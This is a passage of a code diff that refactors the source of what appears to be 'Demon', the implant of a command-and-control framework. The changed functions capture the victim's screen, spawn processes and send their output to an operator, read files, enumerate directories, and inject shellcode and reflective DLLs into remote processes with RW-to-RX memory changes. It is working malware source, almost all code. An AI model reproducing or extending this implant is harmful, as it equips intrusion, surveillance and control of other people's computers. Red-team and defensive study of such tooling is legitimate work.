CmdLine,
|
||||
@@ -714,7 +714,7 @@ BOOL ProcessCreate(
|
||||
}
|
||||
else
|
||||
{
|
||||
if ( ! Instance.Win32.CreateProcessW(
|
||||
if ( ! Instance->Win32.CreateProcessW(
|
||||
App,
|
||||
CmdLine,
|
||||
NULL,
|
||||
@@ -734,7 +734,7 @@ BOOL ProcessCreate(
|
||||
}
|
||||
|
||||
/* Check if we managed to spawn a process */
|
||||
if ( ProcessInfo->hProcess && Instance.Config.Implant.Verbose )
|
||||
if ( ProcessInfo->hProcess && Instance->Config.Implant.Verbose )
|
||||
{
|
||||
PUTS( "Send info back" )
|
||||
if ( ! CmdLine )
|
||||
@@ -747,7 +747,7 @@ BOOL ProcessCreate(
|
||||
{
|
||||
INT32 i = 0;
|
||||
INT32 x = ( INT32 ) StringLengthW( CmdLine );
|
||||
PWCHAR s = Instance.Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) );
|
||||
PWCHAR s = Instance->Win32.LocalAlloc( LPTR, x * sizeof( WCHAR ) );
|
||||
|
||||
MemCopy( s, CmdLine, x );
|
||||
|
||||
@@ -770,12 +770,12 @@ BOOL ProcessCreate(
|
||||
Cleanup:
|
||||
#if _M_IX86
|
||||
if ( DisabledWow64Redir ) {
|
||||
Instance.Win32.Wow64RevertWow64FsRedirection( Wow64Value );
|
||||
Instance->Win32.Wow64RevertWow64FsRedirection( Wow64Value );
|
||||
}
|
||||
#endif
|
||||
|
||||
if ( Return && Piped ) {
|
||||
JobAdd( Instance.CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe );
|
||||
JobAdd( Instance->CurrentRequestID, ProcessInfo->dwProcessId, JOB_TYPE_TRACK_PROCESS, JOB_STATE_RUNNING, ProcessInfo->hProcess, AnonPipe );
|
||||
}
|
||||
else if ( ! Return && Piped )
|
||||
{
|
||||
@@ -865,7 +865,7 @@ NTSTATUS ProcessSnapShot(
|
||||
Length += 0x1000;
|
||||
|
||||
/* allocate memory */
|
||||
*SnapShot = NtHeapAlloc( Length );
|
||||
*SnapShot = MmHeapAlloc( Length );
|
||||
if ( *SnapShot ) {
|
||||
if ( ! NT_SUCCESS( NtStatus = SysNtQuerySystemInformation( SystemProcessInformation, *SnapShot, Length, &Length ) ) ) {
|
||||
PRINTF( "NtQuerySystemInformation Failed: Status[%lx]\n", NtStatus )
|
||||
@@ -892,17 +892,17 @@ BOOL ReadLocalFile(
|
||||
DWORD Read = 0;
|
||||
HANDLE hFile = NULL;
|
||||
|
||||
hFile = Instance.Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
|
||||
hFile = Instance->Win32.CreateFileW( FileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
|
||||
if ( ( ! hFile ) || ( hFile == INVALID_HANDLE_VALUE ) ) {
|
||||
PUTS( "CreateFileW: Failed" )
|
||||
PACKAGE_ERROR_WIN32
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
*FileSize = Instance.Win32.GetFileSize( hFile, 0 );
|
||||
*FileContent = Instance.Win32.LocalAlloc( LPTR, *FileSize );
|
||||
*FileSize = Instance->Win32.GetFileSize( hFile, 0 );
|
||||
*FileContent = Instance->Win32.LocalAlloc( LPTR, *FileSize );
|
||||
|
||||
if ( ! Instance.Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) {
|
||||
if ( ! Instance->Win32.ReadFile( hFile, *FileContent, *FileSize, &Read, NULL ) ) {
|
||||
PUTS( "ReadFile: Failed" )
|
||||
PACKAGE_ERROR_WIN32
|
||||
goto Cleanup;
|
||||
@@ -917,7 +917,7 @@ BOOL ReadLocalFile(
|
||||
}
|
||||
|
||||
if ( ! Success && *FileContent ) {
|
||||
Instance.Win32.LocalFree( *FileContent );
|
||||
Instance->Win32.LocalFree( *FileContent );
|
||||
*FileContent = NULL;
|
||||
*FileSize = 0;
|
||||
}
|
||||
@@ -983,7 +983,7 @@ BOOL AnonPipesInit(
|
||||
) {
|
||||
SECURITY_ATTRIBUTES SecurityAttr = { sizeof( SECURITY_ATTRIBUTES ), NULL, TRUE };
|
||||
|
||||
if ( ! Instance.Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) {
|
||||
if ( ! Instance->Win32.CreatePipe( &AnonPipes->StdOutRead, &AnonPipes->StdOutWrite, &SecurityAttr, 0 ) ) {
|
||||
PACKAGE_ERROR_WIN32
|
||||
return FALSE;
|
||||
}
|
||||
@@ -1016,10 +1016,10 @@ VOID AnonPipesRead(
|
||||
AnonPipes->StdOutWrite = NULL;
|
||||
}
|
||||
|
||||
Buffer = Instance.Win32.LocalAlloc( LPTR, 0 );
|
||||
Buffer = Instance->Win32.LocalAlloc( LPTR, 0 );
|
||||
|
||||
do {
|
||||
Success = Instance.Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL );
|
||||
Success = Instance->Win32.ReadFile( AnonPipes->StdOutRead, buf, 1024, &dwRead, NULL );
|
||||
PRINTF( "dwRead => %d\n", dwRead )
|
||||
|
||||
if ( dwRead == 0 ) {
|
||||
@@ -1028,7 +1028,7 @@ VOID AnonPipesRead(
|
||||
|
||||
dwBufferSize += dwRead;
|
||||
|
||||
Buffer = Instance.Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE );
|
||||
Buffer = Instance->Win32.LocalReAlloc( Buffer, dwBufferSize, LMEM_MOVEABLE );
|
||||
|
||||
MemCopy( Buffer + ( dwBufferSize - dwRead ), buf, dwRead );
|
||||
MemSet( buf, 0, dwRead );
|
||||
@@ -1069,27 +1069,27 @@ BOOL WinScreenshot(
|
||||
DWORD BitMapSize = 0;
|
||||
|
||||
// NOTE: if GetSystemMetrics fails, screenshot works anyways
|
||||
INT x = Instance.Win32.GetSystemMetrics( SM_XVIRTUALSCREEN );
|
||||
INT y = Instance.Win32.GetSystemMetrics( SM_YVIRTUALSCREEN );
|
||||
INT x = Instance->Win32.GetSystemMetrics( SM_XVIRTUALSCREEN );
|
||||
INT y = Instance->Win32.GetSystemMetrics( SM_YVIRTUALSCREEN );
|
||||
|
||||
MemSet( &BitFileHdr, 0, sizeof( BITMAPFILEHEADER ) );
|
||||
MemSet( &BitInfoHdr, 0, sizeof( BITMAPINFOHEADER ) );
|
||||
MemSet( &BitMapInfo, 0, sizeof( BITMAPINFO ) );
|
||||
MemSet( &AllDesktops,0, sizeof( BITMAP ) );
|
||||
|
||||
hDC = Instance.Win32.GetDC( NULL );
|
||||
hDC = Instance->Win32.GetDC( NULL );
|
||||
if ( ! hDC ) {
|
||||
PUTS( "GetDC failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hTempMap = Instance.Win32.GetCurrentObject( hDC, OBJ_BITMAP );
|
||||
hTempMap = Instance->Win32.GetCurrentObject( hDC, OBJ_BITMAP );
|
||||
if ( ! hTempMap ) {
|
||||
PUTS( "GetCurrentObject failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) {
|
||||
if ( ! Instance->Win32.GetObjectW( hTempMap, sizeof( BITMAP ), &AllDesktops ) ) {
|
||||
PUTS( "GetObjectW failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
@@ -1108,27 +1108,27 @@ BOOL WinScreenshot(
|
||||
cbBits = ( ( ( 24 * AllDesktops.bmWidth + 31 ) &~31 ) / 8 ) * AllDesktops.bmHeight;
|
||||
|
||||
BitMapSize = cbBits + ( sizeof( BITMAPFILEHEADER ) + sizeof( BITMAPINFOHEADER ) );
|
||||
BitMapImage = Instance.Win32.LocalAlloc( LPTR, BitMapSize );
|
||||
BitMapImage = Instance->Win32.LocalAlloc( LPTR, BitMapSize );
|
||||
|
||||
hMemDC = Instance.Win32.CreateCompatibleDC( hDC );
|
||||
hMemDC = Instance->Win32.CreateCompatibleDC( hDC );
|
||||
if ( ! hMemDC ) {
|
||||
PUTS( "CreateCompatibleDC failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
hBitmap = Instance.Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 );
|
||||
hBitmap = Instance->Win32.CreateDIBSection( hDC, &BitMapInfo, DIB_RGB_COLORS, ( VOID** ) &bBits, NULL, 0 );
|
||||
if ( ! hBitmap ) {
|
||||
PUTS( "CreateDIBSection failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
ObjPtr = Instance.Win32.SelectObject( hMemDC, hBitmap );
|
||||
ObjPtr = Instance->Win32.SelectObject( hMemDC, hBitmap );
|
||||
if ( ! ObjPtr || ObjPtr == HGDI_ERROR ) {
|
||||
PUTS( "SelectObject failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
if ( ! Instance.Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) {
|
||||
if ( ! Instance->Win32.BitBlt( hMemDC, 0, 0, AllDesktops.bmWidth, AllDesktops.bmHeight, hDC, x, y, SRCCOPY ) ) {
|
||||
PUTS( "BitBlt failed" )
|
||||
goto Cleanup;
|
||||
}
|
||||
@@ -1148,19 +1148,19 @@ Cleanup:
|
||||
*ImageSize = BitMapSize;
|
||||
|
||||
if ( hTempMap ) {
|
||||
Instance.Win32.DeleteObject( hTempMap );
|
||||
Instance->Win32.DeleteObject( hTempMap );
|
||||
}
|
||||
|
||||
if ( hMemDC ) {
|
||||
Instance.Win32.DeleteDC( hMemDC );
|
||||
Instance->Win32.DeleteDC( hMemDC );
|
||||
}
|
||||
|
||||
if ( hDC ) {
|
||||
Instance.Win32.ReleaseDC( NULL, hDC );
|
||||
Instance->Win32.ReleaseDC( NULL, hDC );
|
||||
}
|
||||
|
||||
if ( hBitmap ) {
|
||||
Instance.Win32.DeleteObject( hBitmap );
|
||||
Instance->Win32.DeleteObject( hBitmap );
|
||||
}
|
||||
|
||||
return ReturnValue;
|
||||
@@ -1180,7 +1180,7 @@ BOOL PipeRead(
|
||||
DWORD Total = 0;
|
||||
|
||||
do {
|
||||
if ( ! Instance.Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) {
|
||||
if ( ! Instance->Win32.ReadFile( Handle, C_PTR( U_PTR( Buffer->Buffer ) + Total ), MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Read, NULL ) ) {
|
||||
if ( NtGetLastError() != ERROR_MORE_DATA ) {
|
||||
PRINTF( "ReadFile failed with %d\n", NtGetLastError() )
|
||||
return FALSE;
|
||||
@@ -1207,7 +1207,7 @@ BOOL PipeWrite(
|
||||
DWORD Total = 0;
|
||||
|
||||
do {
|
||||
if ( ! Instance.Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) {
|
||||
if ( ! Instance->Win32.WriteFile( Handle, Buffer->Buffer + Total, MIN( ( Buffer->Length - Total ), PIPE_BUFFER_MAX ), &Written , NULL ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -1293,7 +1293,7 @@ VOID CfgAddressAdd(
|
||||
BOOL EventSet(
|
||||
IN HANDLE Event
|
||||
) {
|
||||
return NT_SUCCESS( Instance.Win32.NtSetEvent( Event, NULL ) );
|
||||
return NT_SUCCESS( Instance->Win32.NtSetEvent( Event, NULL ) );
|
||||
}
|
||||
|
||||
|
||||
@@ -1307,8 +1307,8 @@ ULONG RandomNumber32(
|
||||
ULONG Seed = 0;
|
||||
|
||||
Seed = NtGetTickCount();
|
||||
Seed = Instance.Win32.RtlRandomEx( &Seed );
|
||||
Seed = Instance.Win32.RtlRandomEx( &Seed );
|
||||
Seed = Instance->Win32.RtlRandomEx( &Seed );
|
||||
Seed = Instance->Win32.RtlRandomEx( &Seed );
|
||||
Seed = ( Seed % ( LONG_MAX - 2 + 1 ) ) + 2;
|
||||
|
||||
return Seed % 2 == 0 ? Seed : Seed + 1;
|
||||
@@ -1324,7 +1324,7 @@ BOOL RandomBool(
|
||||
ULONG Seed = 0;
|
||||
|
||||
Seed = NtGetTickCount();
|
||||
Seed = Instance.Win32.RtlRandomEx( &Seed );
|
||||
Seed = Instance->Win32.RtlRandomEx( &Seed );
|
||||
|
||||
return Seed % 2 == 0 ? TRUE : FALSE;
|
||||
}
|
||||
@@ -1377,7 +1377,7 @@ VOID SharedSleep(
|
||||
}
|
||||
|
||||
VOID ShuffleArray(
|
||||
IN OUT PVOID* array,
|
||||
_Inout_ PVOID* array,
|
||||
IN SIZE_T n
|
||||
) {
|
||||
SIZE_T j = 0;
|
||||
@@ -1406,7 +1406,7 @@ VOID DemonPrintf( PCHAR fmt, ... )
|
||||
PVOID CallbackOutput = NULL;
|
||||
INT CallbackSize = 0;
|
||||
|
||||
if ( ! Instance.Session.Connected ) {
|
||||
if ( ! Instance->Session.Connected ) {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -1414,10 +1414,10 @@ VOID DemonPrintf( PCHAR fmt, ... )
|
||||
|
||||
va_start( VaListArg, fmt );
|
||||
|
||||
CallbackSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg );
|
||||
CallbackOutput = Instance.Win32.LocalAlloc( LPTR, CallbackSize );
|
||||
CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg );
|
||||
CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize );
|
||||
|
||||
Instance.Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg );
|
||||
Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg );
|
||||
|
||||
va_end( VaListArg );
|
||||
|
||||
@@ -1426,7 +1426,7 @@ VOID DemonPrintf( PCHAR fmt, ... )
|
||||
PackageTransmit( package );
|
||||
|
||||
MemSet( CallbackOutput, 0, CallbackSize );
|
||||
Instance.Win32.LocalFree( CallbackOutput );
|
||||
Instance->Win32.LocalFree( CallbackOutput );
|
||||
}
|
||||
|
||||
#elif defined(SHELLCODE) && defined(DEBUG)
|
||||
@@ -1440,33 +1440,33 @@ VOID LogToConsole(
|
||||
va_list VaListArg = 0;
|
||||
|
||||
// have we initialized all the function addresses?
|
||||
if ( Instance.Win32.AttachConsole == NULL ||
|
||||
Instance.Win32.vsnprintf == NULL ||
|
||||
Instance.Win32.GetStdHandle == NULL ||
|
||||
Instance.Win32.WriteConsoleA == NULL ||
|
||||
Instance.Win32.LocalAlloc == NULL )
|
||||
if ( Instance->Win32.AttachConsole == NULL ||
|
||||
Instance->Win32.vsnprintf == NULL ||
|
||||
Instance->Win32.GetStdHandle == NULL ||
|
||||
Instance->Win32.WriteConsoleA == NULL ||
|
||||
Instance->Win32.LocalAlloc == NULL )
|
||||
return;
|
||||
|
||||
// get the handle to the output console
|
||||
if ( Instance.hConsoleOutput == NULL )
|
||||
if ( Instance->hConsoleOutput == NULL )
|
||||
{
|
||||
Instance.Win32.AttachConsole( ATTACH_PARENT_PROCESS );
|
||||
Instance.hConsoleOutput = Instance.Win32.GetStdHandle( STD_OUTPUT_HANDLE );
|
||||
if ( ! Instance.hConsoleOutput )
|
||||
Instance->Win32.AttachConsole( ATTACH_PARENT_PROCESS );
|
||||
Instance->hConsoleOutput = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE );
|
||||
if ( ! Instance->hConsoleOutput )
|
||||
return;
|
||||
}
|
||||
|
||||
va_start( VaListArg, fmt );
|
||||
|
||||
// allocate space for the final string
|
||||
OutputSize = Instance.Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1;
|
||||
OutputString = Instance.Win32.LocalAlloc( LPTR, OutputSize );
|
||||
OutputSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ) + 1;
|
||||
OutputString = Instance->Win32.LocalAlloc( LPTR, OutputSize );
|
||||
|
||||
// write the final string
|
||||
Instance.Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg );
|
||||
Instance->Win32.vsnprintf( OutputString, OutputSize, fmt, VaListArg );
|
||||
|
||||
// write it to the console
|
||||
Instance.Win32.WriteConsoleA( Instance.hConsoleOutput, OutputString, OutputSize, NULL, NULL );
|
||||
Instance->Win32.WriteConsoleA( Instance->hConsoleOutput, OutputString, OutputSize, NULL, NULL );
|
||||
|
||||
DATA_FREE( OutputString, OutputSize );
|
||||
|
||||
@@ -1509,7 +1509,7 @@ PROOT_DIR listDir(
|
||||
}
|
||||
|
||||
// allocate the path on the heap to keep stack usage low (given that this function is recursive)
|
||||
Path = Instance.Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
|
||||
Path = Instance->Win32.LocalAlloc( LPTR, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
|
||||
if ( ! Path )
|
||||
{
|
||||
PUTS( "Failed to allocate memory" );
|
||||
@@ -1521,7 +1521,7 @@ PROOT_DIR listDir(
|
||||
MemCopy( Path, StartPath, PathSize * sizeof( WCHAR ) );
|
||||
|
||||
// search for the first file in the folder specified
|
||||
hFile = Instance.Win32.FindFirstFileW( Path, &FindData );
|
||||
hFile = Instance->Win32.FindFirstFileW( Path, &FindData );
|
||||
if ( hFile == INVALID_HANDLE_VALUE )
|
||||
{
|
||||
PRINTF( "FindFirstFileW failed for path %ls\n", Path );
|
||||
@@ -1539,8 +1539,8 @@ PROOT_DIR listDir(
|
||||
Path[ PathSize ] = 0x00;
|
||||
|
||||
// repeat the search
|
||||
Instance.Win32.FindClose( hFile );
|
||||
hFile = Instance.Win32.FindFirstFileW( Path, &FindData );
|
||||
Instance->Win32.FindClose( hFile );
|
||||
hFile = Instance->Win32.FindFirstFileW( Path, &FindData );
|
||||
if ( hFile == INVALID_HANDLE_VALUE )
|
||||
{
|
||||
PRINTF( "FindFirstFileW failed for path %ls\n", Path );
|
||||
@@ -1549,7 +1549,7 @@ PROOT_DIR listDir(
|
||||
}
|
||||
|
||||
// allocate the RootDir
|
||||
RootDir = Instance.Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) );
|
||||
RootDir = Instance->Win32.LocalAlloc( LPTR, sizeof( ROOT_DIR ) );
|
||||
if ( ! RootDir )
|
||||
{
|
||||
PUTS( "Failed to allocate memory" );
|
||||
@@ -1586,7 +1586,7 @@ PROOT_DIR listDir(
|
||||
// if we are interested in subdirs, remember that we found this directory
|
||||
if ( IsDir && SubDirs )
|
||||
{
|
||||
SubDir = Instance.Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) );
|
||||
SubDir = Instance->Win32.LocalAlloc( LPTR, sizeof( SUB_DIR ) );
|
||||
if ( ! SubDir )
|
||||
{
|
||||
PUTS( "Failed to allocate memory" );
|
||||
@@ -1637,15 +1637,15 @@ PROOT_DIR listDir(
|
||||
}
|
||||
|
||||
// save this directory or file
|
||||
DirOrFile = Instance.Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) );
|
||||
DirOrFile = Instance->Win32.LocalAlloc( LPTR, sizeof( DIR_OR_FILE ) );
|
||||
if ( ! DirOrFile )
|
||||
{
|
||||
PUTS( "Failed to allocate memory" );
|
||||
goto Cleanup;
|
||||
}
|
||||
|
||||
Instance.Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime );
|
||||
Instance.Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime );
|
||||
Instance->Win32.FileTimeToSystemTime( &FindData.ftLastAccessTime, &DirOrFile->FileTime );
|
||||
Instance->Win32.SystemTimeToTzSpecificLocalTime( 0, &DirOrFile->FileTime, &DirOrFile->SystemTime );
|
||||
|
||||
DirOrFile->IsDir = IsDir;
|
||||
|
||||
@@ -1672,7 +1672,7 @@ PROOT_DIR listDir(
|
||||
}
|
||||
LastDirOrFile = DirOrFile;
|
||||
}
|
||||
while ( Instance.Win32.FindNextFileW( hFile, &FindData ) );
|
||||
while ( Instance->Win32.FindNextFileW( hFile, &FindData ) );
|
||||
|
||||
// list all subdirs recursively if requested
|
||||
SubDir = RootSubDir;
|
||||
@@ -1698,7 +1698,7 @@ PROOT_DIR listDir(
|
||||
|
||||
Cleanup:
|
||||
if ( hFile )
|
||||
Instance.Win32.FindClose( hFile );
|
||||
Instance->Win32.FindClose( hFile );
|
||||
|
||||
DATA_FREE( Path, ( MAX_PATH + 2 + 1 ) * sizeof( WCHAR ) );
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#include <Crypt/AesCrypt.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <crypt/AesCrypt.h>
|
||||
#include <core/MiniStd.h>
|
||||
|
||||
#define Nb 4
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#include <Demon.h>
|
||||
#include <ntstatus.h>
|
||||
|
||||
#include <Core/Win32.h>
|
||||
#include <Core/Package.h>
|
||||
#include <Core/MiniStd.h>
|
||||
#include <Inject/Inject.h>
|
||||
#include <Inject/InjectUtil.h>
|
||||
#include <Common/Macros.h>
|
||||
#include <Common/Defines.h>
|
||||
#include <core/Win32.h>
|
||||
#include <core/Package.h>
|
||||
#include <core/MiniStd.h>
|
||||
#include <inject/Inject.h>
|
||||
#include <inject/InjectUtil.h>
|
||||
#include <common/Macros.h>
|
||||
#include <common/Defines.h>
|
||||
|
||||
/*!
|
||||
* Inject code into a remote process
|
||||
@@ -65,7 +65,7 @@ DWORD Inject(
|
||||
}
|
||||
|
||||
/* check the architecture matches */
|
||||
if ( x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
|
||||
if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {
|
||||
PUTS( "The OS is x86!" )
|
||||
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
|
||||
goto END;
|
||||
@@ -77,14 +77,14 @@ DWORD Inject(
|
||||
PUTS( "The process target process is x86!" )
|
||||
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
|
||||
goto END;
|
||||
} else if ( ! x64 && Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) {
|
||||
} else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) {
|
||||
PUTS( "The process target process is x64!" )
|
||||
Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;
|
||||
goto END;
|
||||
}
|
||||
|
||||
/* allocate memory in the remote process */
|
||||
if ( ! ( Memory = MemoryAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) {
|
||||
if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) {
|
||||
PUTS( "[INJECT] Failed allocating memory in remote process" )
|
||||
goto END;
|
||||
} else {
|
||||
@@ -92,7 +92,7 @@ DWORD Inject(
|
||||
}
|
||||
|
||||
/* write payload into remote process memory */
|
||||
if ( ! ( MemoryWrite( Process, Memory, Payload, Size ) ) ) {
|
||||
if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) {
|
||||
PUTS( "[INJECT] Failed to write payload into remote process" )
|
||||
goto END;
|
||||
} else {
|
||||
@@ -100,7 +100,7 @@ DWORD Inject(
|
||||
}
|
||||
|
||||
/* change allocated memory from RW to RX */
|
||||
if ( ! ( MemoryProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) {
|
||||
if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) {
|
||||
PUTS( "[INJECT] Failed to change memory protection" )
|
||||
goto END;
|
||||
} else {
|
||||
@@ -111,7 +111,7 @@ DWORD Inject(
|
||||
if ( Argv && ( Argc > 0 ) )
|
||||
{
|
||||
/* allocate memory in the remote process */
|
||||
if ( ! ( Param = MemoryAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) {
|
||||
if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) {
|
||||
PUTS( "[INJECT] Failed allocating argument memory in remote process" )
|
||||
goto END;
|
||||
} else {
|
||||
@@ -119,7 +119,7 @@ DWORD Inject(
|
||||
}
|
||||
|
||||
/* write payload into remote process memory */
|
||||
if ( ! ( MemoryWrite( Process, Param, Argv, Argc ) ) ) {
|
||||
if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) {
|
||||
PUTS( "[INJECT] Failed to write argument into remote process" )
|
||||
goto END;
|
||||
} else {
|
||||
@@ -143,13 +143,13 @@ END:
|
||||
{
|
||||
/* free allocated payload */
|
||||
if ( Memory ) {
|
||||
MemoryFree( Process, Memory );
|
||||
MmVirtualFree( Process, Memory );
|
||||
Memory = NULL;
|
||||
}
|
||||
|
||||
/* free allocated param */
|
||||
if ( Param ) {
|
||||
MemoryFree( Process, Param );
|
||||
MmVirtualFree( Process, Param );
|
||||
Param = NULL;
|
||||
}
|
||||
}
|
||||
@@ -185,7 +185,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
BOOL HasRDll = FALSE;
|
||||
DWORD ReturnValue = 0;
|
||||
SIZE_T BytesWritten = 0;
|
||||
BOOL x64 = Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE;
|
||||
BOOL x64 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE;
|
||||
|
||||
if( ! DllBuffer || ! DllLength || ! hTargetProcess )
|
||||
{
|
||||
@@ -220,7 +220,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
} else {
|
||||
PUTS( "The DLL does not have a Reflective Loader defined, using KaynLdr" );
|
||||
HasRDll = FALSE;
|
||||
FullDll = Instance.Win32.LocalAlloc( LPTR, DllLdrSize + DllLength );
|
||||
FullDll = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength );
|
||||
FullDllSize = DllLdrSize + DllLength;
|
||||
MemCopy( FullDll, DllLdr, DllLdrSize );
|
||||
MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength );
|
||||
@@ -232,7 +232,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
PRINTF( "Params: Size:[%d] Pointer:[%p]\n", ParamSize, Parameter )
|
||||
if ( ParamSize > 0 )
|
||||
{
|
||||
MemParamsBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE );
|
||||
MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE );
|
||||
if ( MemParamsBuffer )
|
||||
{
|
||||
PRINTF( "MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\n", MemParamsBuffer )
|
||||
@@ -240,7 +240,7 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
if ( ! NT_SUCCESS( NtStatus ) )
|
||||
{
|
||||
PUTS( "NtWriteVirtualMemory: Failed to write memory for parameters" )
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
ReturnValue = NtStatus;
|
||||
goto Cleanup;
|
||||
}
|
||||
@@ -250,14 +250,14 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
else
|
||||
{
|
||||
PUTS( "NtAllocateVirtualMemory: Failed to allocate memory for parameters" )
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance.Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );
|
||||
ReturnValue = -1;
|
||||
goto Cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
// Alloc and write remote library
|
||||
MemLibraryBuffer = MemoryAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE );
|
||||
MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE );
|
||||
if ( MemLibraryBuffer )
|
||||
{
|
||||
PUTS( "[+] NtAllocateVirtualMemory: success" );
|
||||
@@ -271,8 +271,8 @@ DWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSiz
|
||||
MemRegionSize = 16384;
|
||||
BytesWritten = 0;
|
||||
|
||||
// NtStatus = Instance.Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect );
|
||||
if ( MemoryProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) )
|
||||
// NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect );
|
||||
if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) )
